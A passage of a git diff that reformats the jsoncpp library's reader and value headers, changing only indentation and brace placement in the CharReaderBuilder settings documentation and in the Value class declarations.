`"strictRoot": false or true` - * - true if root must be either an array or an object value - * - `"allowDroppedNullPlaceholders": false or true` - * - true if dropped null placeholders are allowed. (See - * StreamWriterBuilder.) - * - `"allowNumericKeys": false or true` - * - true if numeric object keys are allowed. - * - `"allowSingleQuotes": false or true` - * - true if '' are allowed for strings (both keys and values) - * - `"stackLimit": integer` - * - Exceeding stackLimit (recursive depth of `readValue()`) will cause an - * exception. - * - This is a security issue (seg-faults caused by deeply nested JSON), so - * the default is low. - * - `"failIfExtra": false or true` - * - If true, `parse()` returns false when extra non-whitespace trails the - * JSON value in the input string. - * - `"rejectDupKeys": false or true` - * - If true, `parse()` returns false when a key is duplicated within an - * object. - * - `"allowSpecialFloats": false or true` - * - If true, special float values (NaNs and infinities) are allowed and - * their values are lossfree restorable. - * - `"skipBom": false or true` - * - If true, if the input starts with the Unicode byte order mark (BOM), - * it is skipped. - * - * You can examine 'settings_` yourself to see the defaults. You can also - * write and read them just like any JSON Value. - * \sa setDefaults() - */ - Json::Value settings_; + // Note: We use a Json::Value so that we can add data-members to this class + // without a major version bump. + /** Configuration of this builder. + * These are case-sensitive. + * Available settings (case-sensitive): + * - `"collectComments": false or true` + * - true to collect comment and allow writing them back during + * serialization, false to discard comments. This parameter is ignored + * if allowComments is false. + * - `"allowComments": false or true` + * - true if comments are allowed. + * - `"allowTrailingCommas": false or true` + * - true if trailing commas in objects and arrays are allowed. + * - `"strictRoot": false or true` + * - true if root must be either an array or an object value + * - `"allowDroppedNullPlaceholders": false or true` + * - true if dropped null placeholders are allowed. (See + * StreamWriterBuilder.) + * - `"allowNumericKeys": false or true` + * - true if numeric object keys are allowed. + * - `"allowSingleQuotes": false or true` + * - true if '' are allowed for strings (both keys and values) + * - `"stackLimit": integer` + * - Exceeding stackLimit (recursive depth of `readValue()`) will cause an + * exception. + * - This is a security issue (seg-faults caused by deeply nested JSON), so + * the default is low. + * - `"failIfExtra": false or true` + * - If true, `parse()` returns false when extra non-whitespace trails the + * JSON value in the input string. + * - `"rejectDupKeys": false or true` + * - If true, `parse()` returns false when a key is duplicated within an + * object. + * - `"allowSpecialFloats": false or true` + * - If true, special float values (NaNs and infinities) are allowed and + * their values are lossfree restorable. + * - `"skipBom": false or true` + * - If true, if the input starts with the Unicode byte order mark (BOM), + * it is skipped. + * + * You can examine 'settings_` yourself to see the defaults. You can also + * write and read them just like any JSON Value. + * \sa setDefaults() + */ + Json::Value settings_; - CharReaderBuilder(); - ~CharReaderBuilder() override; + CharReaderBuilder(); + ~CharReaderBuilder() override; - CharReader* newCharReader() const override; + CharReader* newCharReader() const override; - /** \return true if 'settings' are legal and consistent; - * otherwise, indicate bad settings via 'invalid'. - */ - bool validate(Json::Value* invalid) const; + /** \return true if 'settings' are legal and consistent; + * otherwise, indicate bad settings via 'invalid'. + */ + bool validate(Json::Value* invalid) const; - /** A simple way to update a specific setting. - */ - Value& operator[](const String& key); + /** A simple way to update a specific setting. + */ + Value& operator[](const String& key); - /** Called by ctor, but you can use this to reset settings_. - * \pre 'settings' != NULL (but Json::null is fine) - * \remark Defaults: - * \snippet src/lib_json/json_reader.cpp CharReaderBuilderDefaults - */ - static void setDefaults(Json::Value* settings); - /** Same as old Features::strictMode(). - * \pre 'settings' != NULL (but Json::null is fine) - * \remark Defaults: - * \snippet src/lib_json/json_reader.cpp CharReaderBuilderStrictMode - */ - static void strictMode(Json::Value* settings); - /** ECMA-404 mode. - * \pre 'settings' != NULL (but Json::null is fine) - * \remark Defaults: - * \snippet src/lib_json/json_reader.cpp CharReaderBuilderECMA404Mode - */ - static void ecma404Mode(Json::Value* settings); + /** Called by ctor, but you can use this to reset settings_. + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_reader.cpp CharReaderBuilderDefaults + */ + static void setDefaults(Json::Value* settings); + /** Same as old Features::strictMode(). + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_reader.cpp CharReaderBuilderStrictMode + */ + static void strictMode(Json::Value* settings); + /** ECMA-404 mode. + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_reader.cpp CharReaderBuilderECMA404Mode + */ + static void ecma404Mode(Json::Value* settings); }; /** Consume entire stream and use its begin/end. diff --git a/compress/jsoncpp/value.h b/compress/jsoncpp/value.h index c8e1aae..b5b2664 100644 --- a/compress/jsoncpp/value.h +++ b/compress/jsoncpp/value.h @@ -58,21 +58,23 @@ /** \brief JSON (JavaScript Object Notation). */ -namespace Json { +namespace Json +{ #if JSON_USE_EXCEPTION /** Base class for all exceptions we throw. * * We use nothing but these internally. Of course, STL can throw others. */ -class JSON_API Exception : public std::exception { +class JSON_API Exception : public std::exception +{ public: - Exception(String msg); - ~Exception() noexcept override; - char const* what() const noexcept override; + Exception(String msg); + ~Exception() noexcept override; + char const* what() const noexcept override; protected: - String msg_; + String msg_; }; /** Exceptions which the user cannot easily avoid. @@ -81,9 +83,10 @@ protected: * * \remark derived from Json::Exception */ -class JSON_API RuntimeError : public Exception { +class JSON_API RuntimeError : public Exception +{ public: - RuntimeError(String const& msg); + RuntimeError(String const& msg); }; /** Exceptions thrown by JSON_ASSERT/JSON_FAIL macros. @@ -92,9 +95,10 @@ public: * * \remark derived from Json::Exception */ -class JSON_API LogicError : public Exception { +class JSON_API LogicError : public Exception +{ public: - LogicError(String const& msg); + LogicError(String const& msg); }; #endif @@ -106,29 +110,29 @@ JSONCPP_NORETURN void throwLogicError(String const& msg); /** \brief Type of the value held by a Value object. */ enum ValueType { - nullValue = 0, ///< 'null' value - intValue, ///< signed integer value - uintValue, ///< unsigned integer value - realValue, ///< double value - stringValue, ///< UTF-8 string value - booleanValue, ///< bool value - arrayValue, ///< array value (ordered list) - objectValue ///< object value (collection of name/value pairs). + nullValue = 0, ///< 'null' value + intValue, ///< signed integer value + uintValue, ///< unsigned integer value + realValue, ///< double value + stringValue, ///< UTF-8 string value + booleanValue, ///< bool value + arrayValue, ///< array value (ordered list) + objectValue ///< object value (collection of name/value pairs). }; enum CommentPlacement { - commentBefore = 0, ///< a comment placed on the line before a value - commentAfterOnSameLine, ///< a comment just after a value on the same line - commentAfter, ///< a comment on the line after a value (only make sense for - /// root value) - numberOfCommentPlacement + commentBefore = 0, ///< a comment placed on the line before a value + commentAfterOnSameLine, ///< a comment just after a value on the same line + commentAfter, ///< a comment on the line after a value (only make sense for + /// root value) + numberOfCommentPlacement }; /** \brief Type of precision for formatting of real values. */ enum PrecisionType { - significantDigits = 0, ///< we set max number of significant digits in string - decimalPlaces ///< we set max number of digits after "." in string + significantDigits = 0, ///< we set max number of significant digits in string + decimalPlaces ///< we set max number of digits after "." in string }; /** \brief Lightweight wrapper to tag static string. @@ -145,16 +149,23 @@ enum PrecisionType { * object[code] = 1234; * \endcode */ -class JSON_API StaticString { +class JSON_API StaticString +{ public: - explicit StaticString(const char* czstring) : c_str_(czstring) {} + explicit StaticString(const char* czstring) : c_str_(czstring) {} - operator const char*() const { return c_str_; } + operator const char*() const + { + return c_str_; + } - const char* c_str() const { return c_str_; } + const char* c_str() const + { + return c_str_; + } private: - const char* c_str_; + const char* c_str_; }; /** \brief Represents a JSON value. @@ -191,64 +202,65 @@ private: * but the Value API does *not* check bounds. That is the responsibility * of the caller. */ -class JSON_API Value { - friend class ValueIteratorBase; +class JSON_API Value +{ + friend class ValueIteratorBase; public: - using Members = std::vector; - using iterator = ValueIterator; - using const_iterator = ValueConstIterator; - using UInt = Json::UInt; - using Int = Json::Int; + using Members = std::vector; + using iterator = ValueIterator; + using const_iterator = ValueConstIterator; + using UInt = Json::UInt; + using Int = Json::Int; #if defined(JSON_HAS_INT64) - using UInt64 = Json::UInt64; - using Int64 = Json::Int64; + using UInt64 = Json::UInt64; + using Int64 = Json::Int64; #endif // defined(JSON_HAS_INT64) - using LargestInt = Json::LargestInt; - using LargestUInt = Json::LargestUInt; - using ArrayIndex = Json::ArrayIndex; + using LargestInt = Json::LargestInt; + using LargestUInt = Json::LargestUInt; + using ArrayIndex = Json::ArrayIndex; - // Required for boost integration, e. g. BOOST_TEST - using value_type = std::string; + // Required for boost integration, e. g. BOOST_TEST + using value_type = std::string; #if JSON_USE_NULLREF - // Binary compatibility kludges, do not use. - static const Value& null; - static const Value& nullRef; + // Binary compatibility kludges, do not use. + static const Value& null; + static const Value& nullRef; #endif - // null and nullRef are deprecated, use this instead. - static Value const& nullSingleton(); + // null and nullRef are deprecated, use this instead. + static Value const& nullSingleton(); - /// Minimum signed integer value that can be stored in a Json::Value. - static constexpr LargestInt minLargestInt = - LargestInt(~(LargestUInt(-1) / 2)); - /// Maximum signed integer value that can be stored in a Json::Value. - static constexpr LargestInt maxLargestInt = LargestInt(LargestUInt(-1) / 2); - /// Maximum unsigned integer value that can be stored in a Json::Value. - static constexpr LargestUInt maxLargestUInt = LargestUInt(-1); + /// Minimum signed integer value that can be stored in a Json::Value. + static constexpr LargestInt minLargestInt = + LargestInt(~(LargestUInt(-1) / 2)); + /// Maximum signed integer value that can be stored in a Json::Value. + static constexpr LargestInt maxLargestInt = LargestInt(LargestUInt(-1) / 2); + /// Maximum unsigned integer value that can be stored in a Json::Value. + static constexpr LargestUInt maxLargestUInt = LargestUInt(-1); - /// Minimum signed int value that can be stored in a Json::Value. - static constexpr Int minInt = Int(~(UInt(-1) / 2)); - /// Maximum signed int value that can be stored in a Json::Value. - static constexpr Int maxInt = Int(UInt(-1) / 2); - /// Maximum unsigned int value that can be stored in a Json::Value. - static constexpr UInt maxUInt = UInt(-1); + /// Minimum signed int value that can be stored in a Json::Value. + static constexpr Int minInt = Int(~(UInt(-1) / 2)); + /// Maximum signed int value that can be stored in a Json::Value. + static constexpr Int maxInt = Int(UInt(-1) / 2); + /// Maximum unsigned int value that can be stored in a Json::Value. + static constexpr UInt maxUInt = UInt(-1); #if defined(JSON_HAS_INT64) - /// Minimum signed 64 bits int value that can be stored in a Json::Value. - static constexpr Int64 minInt64 = Int64(~(UInt64(-1) / 2)); - /// Maximum signed 64 bits int value that can be stored in a Json::Value. - static constexpr Int64 maxInt64 = Int64(UInt64(-1) / 2); - /// Maximum unsigned 64 bits int value that can be stored in a Json::Value. - static constexpr UInt64 maxUInt64 = UInt64(-1); + /// Minimum signed 64 bits int value that can be stored in a Json::Value. + static constexpr Int64 minInt64 = Int64(~(UInt64(-1) / 2)); + /// Maximum signed 64 bits int value that can be stored in a Json::Value. + static constexpr Int64 maxInt64 = Int64(UInt64(-1) / 2); + /// Maximum unsigned 64 bits int value that can be stored in a Json::Value. + static constexpr UInt64 maxUInt64 = UInt64(-1); #endif // defined(JSON_HAS_INT64) - /// Default precision for real value for string representation. - static constexpr UInt defaultRealPrecision = 17; - // The constant is hard-coded because some compiler have trouble - // converting Value::maxUInt64 to a double correctly (AIX/xlC). - // Assumes that UInt64 is a 64 bits integer. - static constexpr double maxUInt64AsDouble = 18446744073709551615.0; + /// Default precision for real value for string representation. + static constexpr UInt defaultRealPrecision = 17; + // The constant is hard-coded because some compiler have trouble + // converting Value::maxUInt64 to a double correctly (AIX/xlC). + // Assumes that UInt64 is a 64 bits integer. + static constexpr double maxUInt64AsDouble = 18446744073709551615.0; // Workaround for bug in the NVIDIAs CUDA 9.1 nvcc compiler // when using gcc and clang backend compilers. CZString // cannot be defined as private. See issue #486 @@ -258,473 +270,531 @@ public: private: #endif #ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION - class CZString { - public: - enum DuplicationPolicy { noDuplication = 0, duplicate, duplicateOnCopy }; - CZString(ArrayIndex index); - CZString(char const* str, unsigned length, DuplicationPolicy allocate); - CZString(CZString const& other); - CZString(CZString&& other) noexcept; - ~CZString(); - CZString& operator=(const CZString& other); - CZString& operator=(CZString&& other) noexcept; + class CZString + { + public: + enum DuplicationPolicy { noDuplication = 0, duplicate, duplicateOnCopy }; + CZString(ArrayIndex index); + CZString(char const* str, unsigned length, DuplicationPolicy allocate); + CZString(CZString const& other); + CZString(CZString&& other) noexcept; + ~CZString(); + CZString& operator=(const CZString& other); + CZString& operator=(CZString&& other) noexcept; - bool operator<(CZString const& other) const; - bool operator==(CZString const& other) const; - ArrayIndex index() const; - // const char* c_str() const; ///< \deprecated - char const* data() const; - unsigned length() const; - bool isStaticString() const; + bool operator<(CZString const& other) const; + bool operator==(CZString const& other) const; + ArrayIndex index() const; + // const char* c_str() const; ///< \deprecated + char const* data() const; + unsigned length() const; + bool isStaticString() const; - private: - void swap(CZString& other); + private: + void swap(CZString& other); - struct StringStorage { - unsigned policy_ : 2; - unsigned length_ : 30; // 1GB max + struct StringStorage { + unsigned policy_ : 2; + unsigned length_ : 30; // 1GB max + }; + + char const* cstr_; // actually, a prefixed string, unless policy is noDup + union { + ArrayIndex index_; + StringStorage storage_; + }; }; - char const* cstr_; // actually, a prefixed string, unless policy is noDup - union { - ArrayIndex index_; - StringStorage storage_; - }; - }; - public: - typedef std::map ObjectValues; + typedef std::map ObjectValues; #endif // ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION public: - /** - * \brief Create a default Value of the given type. - * - * This is a very useful constructor. - * To create an empty array, pass arrayValue. - * To create an empty object, pass objectValue. - * Another Value can then be set to this one by assignment. - * This is useful since clear() and resize() will not alter types. - * - * Examples: - * \code - * Json::Value null_value; // null - * Json::Value arr_value(Json::arrayValue); // [] - * Json::Value obj_value(Json::objectValue); // {} - * \endcode - */ - Value(ValueType type = nullValue); - Value(Int value); - Value(UInt value); + /** + * \brief Create a default Value of the given type. + * + * This is a very useful constructor. + * To create an empty array, pass arrayValue. + * To create an empty object, pass objectValue. + * Another Value can then be set to this one by assignment. + * This is useful since clear() and resize() will not alter types. + * + * Examples: + * \code + * Json::Value null_value; // null + * Json::Value arr_value(Json::arrayValue); // [] + * Json::Value obj_value(Json::objectValue); // {} + * \endcode + */ + Value(ValueType type = nullValue); + Value(Int value); + Value(UInt value); #if defined(JSON_HAS_INT64) - Value(Int64 value); - Value(UInt64 value); + Value(Int64 value); + Value(UInt64 value); #endif // if defined(JSON_HAS_INT64) - Value(double value); - Value(const char* value); ///< Copy til first 0. (NULL causes to seg-fault.) - Value(const char* begin, const char* end); ///< Copy all, incl zeroes. - /** - * \brief Constructs a value from a static string. - * - * Like other value string constructor but do not duplicate the string for - * internal storage. The given string must remain alive after the call to - * this constructor. - * - * \note This works only for null-terminated strings. (We cannot change the - * size of this class, so we have nowhere to store the length, which might be - * computed later for various operations.) - * - * Example of usage: - * \code - * static StaticString foo("some text"); - * Json::Value aValue(foo); - * \endcode - */ - Value(const StaticString& value); - Value(const String& value); - Value(bool value); - Value(std::nullptr_t ptr) = delete; - Value(const Value& other); - Value(Value&& other) noexcept; - ~Value(); + Value(double value); + Value(const char* value); ///< Copy til first 0. (NULL causes to seg-fault.) + Value(const char* begin, const char* end); ///< Copy all, incl zeroes. + /** + * \brief Constructs a value from a static string. + * + * Like other value string constructor but do not duplicate the string for + * internal storage. The given string must remain alive after the call to + * this constructor. + * + * \note This works only for null-terminated strings. (We cannot change the + * size of this class, so we have nowhere to store the length, which might be + * computed later for various operations.) + * + * Example of usage: + * \code + * static StaticString foo("some text"); + * Json::Value aValue(foo); + * \endcode + */ + Value(const StaticString& value); + Value(const String& value); + Value(bool value); + Value(std::nullptr_t ptr) = delete; + Value(const Value& other); + Value(Value&& other) noexcept; + ~Value(); - /// \note Overwrite existing comments. To preserve comments, use - /// #swapPayload(). - Value& operator=(const Value& other); - Value& operator=(Value&& other) noexcept; + /// \note Overwrite existing comments. To preserve comments, use + /// #swapPayload(). + Value& operator=(const Value& other); + Value& operator=(Value&& other) noexcept; - /// Swap everything. - void swap(Value& other); - /// Swap values but leave comments and source offsets in place. - void swapPayload(Value& other); + /// Swap everything. + void swap(Value& other); + /// Swap values but leave comments and source offsets in place. + void swapPayload(Value& other); - /// copy everything. - void copy(const Value& other); - /// copy values but leave comments and source offsets in place. - void copyPayload(const Value& other); + /// copy everything. + void copy(const Value& other); + /// copy values but leave comments and source offsets in place. + void copyPayload(const Value& other); - ValueType type() const; + ValueType type() const; - /// Compare payload only, not comments etc. - bool operator<(const Value& other) const; - bool operator<=(const Value& other) const; - bool operator>=(const Value& other) const; - bool operator>(const Value& other) const; - bool operator==(const Value& other) const; - bool operator!=(const Value& other) const; - int compare(const Value& other) const; + /// Compare payload only, not comments etc. + bool operator<(const Value& other) const; + bool operator<=(const Value& other) const; + bool operator>=(const Value& other) const; + bool operator>(const Value& other) const; + bool operator==(const Value& other) const; + bool operator!=(const Value& other) const; + int compare(const Value& other) const; - const char* asCString() const; ///< Embedded zeroes could cause you trouble! + const char* asCString() const; ///< Embedded zeroes could cause you trouble! #if JSONCPP_USING_SECURE_MEMORY - unsigned getCStringLength() const; // Allows you to understand the length of - // the CString + unsigned getCStringLength() const; // Allows you to understand the length of + // the CString #endif - String asString() const; ///< Embedded zeroes are possible. - /** Get raw char* of string-value. - * \return false if !string. (Seg-fault if str or end are NULL.) - */ - bool getString(char const** begin, char const** end) const; - Int asInt() const; - UInt asUInt() const; + String asString() const; ///< Embedded zeroes are possible. + /** Get raw char* of string-value. + * \return false if !string. (Seg-fault if str or end are NULL.) + */ + bool getString(char const** begin, char const** end) const; + Int asInt() const; + UInt asUInt() const; #if defined(JSON_HAS_INT64) - Int64 asInt64() const; - UInt64 asUInt64() const; + Int64 asInt64() const; + UInt64 asUInt64() const; #endif // if defined(JSON_HAS_INT64) - LargestInt asLargestInt() const; - LargestUInt asLargestUInt() const; - float asFloat() const; - double asDouble() const; - bool asBool() const; + LargestInt asLargestInt() const; + LargestUInt asLargestUInt() const; + float asFloat() const; + double asDouble() const; + bool asBool() const; - bool isNull() const; - bool isBool() const; - bool isInt() const; - bool isInt64() const; - bool isUInt() const; - bool isUInt64() const; - bool isIntegral() const; - bool isDouble() const; - bool isNumeric() const; - bool isString() const; - bool isArray() const; - bool isObject() const; + bool isNull() const; + bool isBool() const; + bool isInt() const; + bool isInt64() const; + bool isUInt() const; + bool isUInt64() const; + bool isIntegral() const; + bool isDouble() const; + bool isNumeric() const; + bool isString() const; + bool isArray() const; + bool isObject() const; - /// The `as` and `is` member function templates and specializations. - template T as() const JSONCPP_TEMPLATE_DELETE; - template bool is() const JSONCPP_TEMPLATE_DELETE; + /// The `as` and `is` member function templates and specializations. + template T as() const JSONCPP_TEMPLATE_DELETE; + template bool is() const JSONCPP_TEMPLATE_DELETE; - bool isConvertibleTo(ValueType other) const; + bool isConvertibleTo(ValueType other) const; - /// Number of values in array or object - ArrayIndex size() const; + /// Number of values in array or object + ArrayIndex size() const; - /// \brief Return true if empty array, empty object, or null; - /// otherwise, false. - bool empty() const; + /// \brief Return true if empty array, empty object, or null; + /// otherwise, false. + bool empty() const; - /// Return !isNull() - explicit operator bool() const; + /// Return !isNull() + explicit operator bool() const; - /// Remove all object members and array elements. - /// \pre type() is arrayValue, objectValue, or nullValue - /// \post type() is unchanged - void clear(); + /// Remove all object members and array elements. + /// \pre type() is arrayValue, objectValue, or nullValue + /// \post type() is unchanged + void clear(); - /// Resize the array to newSize elements. - /// New elements are initialized to null. - /// May only be called on nullValue or arrayValue. - /// \pre type() is arrayValue or nullValue - /// \post type() is arrayValue - void resize(ArrayIndex newSize); + /// Resize the array to newSize elements. + /// New elements are initialized to null. + /// May only be called on nullValue or arrayValue. + /// \pre type() is arrayValue or nullValue + /// \post type() is arrayValue + void resize(ArrayIndex newSize); - ///@{ - /// Access an array element (zero based index). If the array contains less - /// than index element, then null value are inserted in the array so that - /// its size is index+1. - /// (You may need to say 'value[0u]' to get your compiler to distinguish - /// this from the operator[] which takes a string.) - Value& operator[](ArrayIndex index); - Value& operator[](int index); - ///@} + ///@{ + /// Access an array element (zero based index). If the array contains less + /// than index element, then null value are inserted in the array so that + /// its size is index+1. + /// (You may need to say 'value[0u]' to get your compiler to distinguish + /// this from the operator[] which takes a string.) + Value& operator[](ArrayIndex index); + Value& operator[](int index); + ///@} - ///@{ - /// Access an array element (zero based index). - /// (You may need to say 'value[0u]' to get your compiler to distinguish - /// this from the operator[] which takes a string.) - const Value& operator[](ArrayIndex index) const; - const Value& operator[](int index) const; - ///@} + ///@{ + /// Access an array element (zero based index). + /// (You may need to say 'value[0u]' to get your compiler to distinguish + /// this from the operator[] which takes a string.) + const Value& operator[](ArrayIndex index) const; + const Value& operator[](int index) const; + ///@} - /// If the array contains at least index+1 elements, returns the element - /// value, otherwise returns defaultValue. - Value get(ArrayIndex index, const Value& defaultValue) const; - /// Return true if index < size(). - bool isValidIndex(ArrayIndex index) const; - /// \brief Append value to array at the end. - /// - /// Equivalent to jsonvalue[jsonvalue.size()] = value; - Value& append(const Value& value); - Value& append(Value&& value); + /// If the array contains at least index+1 elements, returns the element + /// value, otherwise returns defaultValue. + Value get(ArrayIndex index, const Value& defaultValue) const; + /// Return true if index < size(). + bool isValidIndex(ArrayIndex index) const; + /// \brief Append value to array at the end. + /// + /// Equivalent to jsonvalue[jsonvalue.size()] = value; + Value& append(const Value& value); + Value& append(Value&& value); - /// \brief Insert value in array at specific index - bool insert(ArrayIndex index, const Value& newValue); - bool insert(ArrayIndex index, Value&& newValue); + /// \brief Insert value in array at specific index + bool insert(ArrayIndex index, const Value& newValue); + bool insert(ArrayIndex index, Value&& newValue); - /// Access an object value by name, create a null member if it does not exist. - /// \note Because of our implementation, keys are limited to 2^30 -1 chars. - /// Exceeding that will cause an exception. - Value& operator[](const char* key); - /// Access an object value by name, returns null if there is no member with - /// that name. - const Value& operator[](const char* key) const; - /// Access an object value by name, create a null member if it does not exist. - /// \param key may contain embedded nulls. - Value& operator[](const String& key); - /// Access an object value by name, returns null if there is no member with - /// that name. - /// \param key may contain embedded nulls. - const Value& operator[](const String& key) const; - /** \brief Access an object value by name, create a null member if it does not - * exist. - * - * If the object has no entry for that name, then the member name used to - * store the new entry is not duplicated. - * Example of use: - * \code - * Json::Value object; - * static const StaticString code("code"); - * object[code] = 1234; - * \endcode - */ - Value& operator[](const StaticString& key); - /// Return the member named key if it exist, defaultValue otherwise. - /// \note deep copy - Value get(const char* key, const Value& defaultValue) const; - /// Return the member named key if it exist, defaultValue otherwise. - /// \note deep copy - /// \note key may contain embedded nulls. - Value get(const char* begin, const char* end, - const Value& defaultValue) const; - /// Return the member named key if it exist, defaultValue otherwise. - /// \note deep copy - /// \param key may contain embedded nulls. - Value get(const String& key, const Value& defaultValue) const; - /// Most general and efficient version of isMember()const, get()const, - /// and operator[]const - /// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30 - Value const* find(char const* begin, char const* end) const; - /// Most general and efficient version of isMember()const, get()const, - /// and operator[]const - Value const* find(const String& key) const; - /// Most general and efficient version of object-mutators. - /// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30 - /// \return non-zero, but JSON_ASSERT if this is neither object nor nullValue. - Value* demand(char const* begin, char const* end); - /// \brief Remove and return the named member. - /// - /// Do nothing if it did not exist. - /// \pre type() is objectValue or nullValue - /// \post type() is unchanged - void removeMember(const char* key); - /// Same as removeMember(const char*) - /// \param key may contain embedded nulls. - void removeMember(const String& key); - /// Same as removeMember(const char* begin, const char* end, Value* removed), - /// but 'key' is null-terminated. - bool removeMember(const char* key, Value* removed); - /** \brief Remove the named map member. - * - * Update 'removed' iff removed. - * \param key may contain embedded nulls. - * \return true iff removed (no exceptions) - */ - bool removeMember(String const& key, Value* removed); - /// Same as removeMember(String const& key, Value* removed) - bool removeMember(const char* begin, const char* end, Value* removed); - /** \brief Remove the indexed array element. - * - * O(n) expensive operations. - * Update 'removed' iff removed. - * \return true if removed (no exceptions) - */ - bool removeIndex(ArrayIndex index, Value* removed); + /// Access an object value by name, create a null member if it does not exist. + /// \note Because of our implementation, keys are limited to 2^30 -1 chars. + /// Exceeding that will cause an exception. + Value& operator[](const char* key); + /// Access an object value by name, returns null if there is no member with + /// that name. + const Value& operator[](const char* key) const; + /// Access an object value by name, create a null member if it does not exist. + /// \param key may contain embedded nulls. + Value& operator[](const String& key); + /// Access an object value by name, returns null if there is no member with + /// that name. + /// \param key may contain embedded nulls. + const Value& operator[](const String& key) const; + /** \brief Access an object value by name, create a null member if it does not + * exist. + * + * If the object has no entry for that name, then the member name used to + * store the new entry is not duplicated. + * Example of use: + * \code + * Json::Value object; + * static const StaticString code("code"); + * object[code] = 1234; + * \endcode + */ + Value& operator[](const StaticString& key); + /// Return the member named key if it exist, defaultValue otherwise. + /// \note deep copy + Value get(const char* key, const Value& defaultValue) const; + /// Return the member named key if it exist, defaultValue otherwise. + /// \note deep copy + /// \note key may contain embedded nulls. + Value get(const char* begin, const char* end, + const Value& defaultValue) const; + /// Return the member named key if it exist, defaultValue otherwise. + /// \note deep copy + /// \param key may contain embedded nulls. + Value get(const String& key, const Value& defaultValue) const; + /// Most general and efficient version of isMember()const, get()const, + /// and operator[]const + /// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30 + Value const* find(char const* begin, char const* end) const; + /// Most general and efficient version of isMember()const, get()const, + /// and operator[]const + Value const* find(const String& key) const; + /// Most general and efficient version of object-mutators. + /// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30 + /// \return non-zero, but JSON_ASSERT if this is neither object nor nullValue. + Value* demand(char const* begin, char const* end); + /// \brief Remove and return the named member. + /// + /// Do nothing if it did not exist. + /// \pre type() is objectValue or nullValue + /// \post type() is unchanged + void removeMember(const char* key); + /// Same as removeMember(const char*) + /// \param key may contain embedded nulls. + void removeMember(const String& key); + /// Same as removeMember(const char* begin, const char* end, Value* removed), + /// but 'key' is null-terminated. + bool removeMember(const char* key, Value* removed); + /** \brief Remove the named map member. + * + * Update 'removed' iff removed. + * \param key may contain embedded nulls. + * \return true iff removed (no exceptions) + */ + bool removeMember(String const& key, Value* removed); + /// Same as removeMember(String const& key, Value* removed) + bool removeMember(const char* begin, const char* end, Value* removed); + /** \brief Remove the indexed array element. + * + * O(n) expensive operations. + * Update 'removed' iff removed. + * \return true if removed (no exceptions) + */ + bool removeIndex(ArrayIndex index, Value* removed); - /// Return true if the object has a member named key. - /// \note 'key' must be null-terminated. - bool isMember(const char* key) const; - /// Return true if the object has a member named key. - /// \param key may contain embedded nulls. - bool isMember(const String& key) const; - /// Same as isMember(String const& key)const - bool isMember(const char* begin, const char* end) const; + /// Return true if the object has a member named key. + /// \note 'key' must be null-terminated. + bool isMember(const char* key) const; + /// Return true if the object has a member named key. + /// \param key may contain embedded nulls. + bool isMember(const String& key) const; + /// Same as isMember(String const& key)const + bool isMember(const char* begin, const char* end) const; - /// \brief Return a list of the member names. - /// - /// If null, return an empty list. - /// \pre type() is objectValue or nullValue - /// \post if type() was nullValue, it remains nullValue - Members getMemberNames() const; + /// \brief Return a list of the member names. + /// + /// If null, return an empty list. + /// \pre type() is objectValue or nullValue + /// \post if type() was nullValue, it remains nullValue + Members getMemberNames() const; - /// \deprecated Always pass len. - JSONCPP_DEPRECATED("Use setComment(String const&) instead.") - void setComment(const char* comment, CommentPlacement placement) { - setComment(String(comment, strlen(comment)), placement); - } - /// Comments must be //... or /* ... */ - void setComment(const char* comment, size_t len, CommentPlacement placement) { - setComment(String(comment, len), placement); - } - /// Comments must be //... or /* ... */ - void setComment(String comment, CommentPlacement placement); - bool hasComment(CommentPlacement placement) const; - /// Include delimiters and embedded newlines. - String getComment(CommentPlacement placement) const; + /// \deprecated Always pass len. + JSONCPP_DEPRECATED("Use setComment(String const&) instead.") + void setComment(const char* comment, CommentPlacement placement) + { + setComment(String(comment, strlen(comment)), placement); + } + /// Comments must be //... or /* ... */ + void setComment(const char* comment, size_t len, CommentPlacement placement) + { + setComment(String(comment, len), placement); + } + /// Comments must be //... or /* ... */ + void setComment(String comment, CommentPlacement placement); + bool hasComment(CommentPlacement placement) const; + /// Include delimiters and embedded newlines. + String getComment(CommentPlacement placement) const; - String toStyledString() const; + String toStyledString() const; - const_iterator begin() const; - const_iterator end() const; + const_iterator begin() const; + const_iterator end() const; - iterator begin(); - iterator end(); + iterator begin(); + iterator end(); - /// \brief Returns a reference to the first element in the `Value`. - /// Requires that this value holds an array or json object, with at least one - /// element. - const Value& front() const; + /// \brief Returns a reference to the first element in the `Value`. + /// Requires that this value holds an array or json object, with at least one + /// element. + const Value& front() const; - /// \brief Returns a reference to the first element in the `Value`. - /// Requires that this value holds an array or json object, with at least one - /// element. - Value& front(); + /// \brief Returns a reference to the first element in the `Value`. + /// Requires that this value holds an array or json object, with at least one + /// element. + Value& front(); - /// \brief Returns a reference to the last element in the `Value`. - /// Requires that value holds an array or json object, with at least one - /// element. - const Value& back() const; + /// \brief Returns a reference to the last element in the `Value`. + /// Requires that value holds an array or json object, with at least one + /// element. + const Value& back() const; - /// \brief Returns a reference to the last element in the `Value`. - /// Requires that this value holds an array or json object, with at least one - /// element. - Value& back(); + /// \brief Returns a reference to the last element in the `Value`. + /// Requires that this value holds an array or json object, with at least one + /// element. + Value& back(); - // Accessors for the [start, limit) range of bytes within the JSON text from - // which this value was parsed, if any. - void setOffsetStart(ptrdiff_t start); - void setOffsetLimit(ptrdiff_t limit); - ptrdiff_t getOffsetStart() const; - ptrdiff_t getOffsetLimit() const; + // Accessors for the [start, limit) range of bytes within the JSON text from + // which this value was parsed, if any. + void setOffsetStart(ptrdiff_t start); + void setOffsetLimit(ptrdiff_t limit); + ptrdiff_t getOffsetStart() const; + ptrdiff_t getOffsetLimit() const; private: - void setType(ValueType v) { - bits_.value_type_ = static_cast(v); - } - bool isAllocated() const { return bits_.allocated_; } - void setIsAllocated(bool v) { bits_.allocated_ = v; } + void setType(ValueType v) + { + bits_.value_type_ = static_cast(v); + } + bool isAllocated() const + { + return bits_.allocated_; + } + void setIsAllocated(bool v) + { + 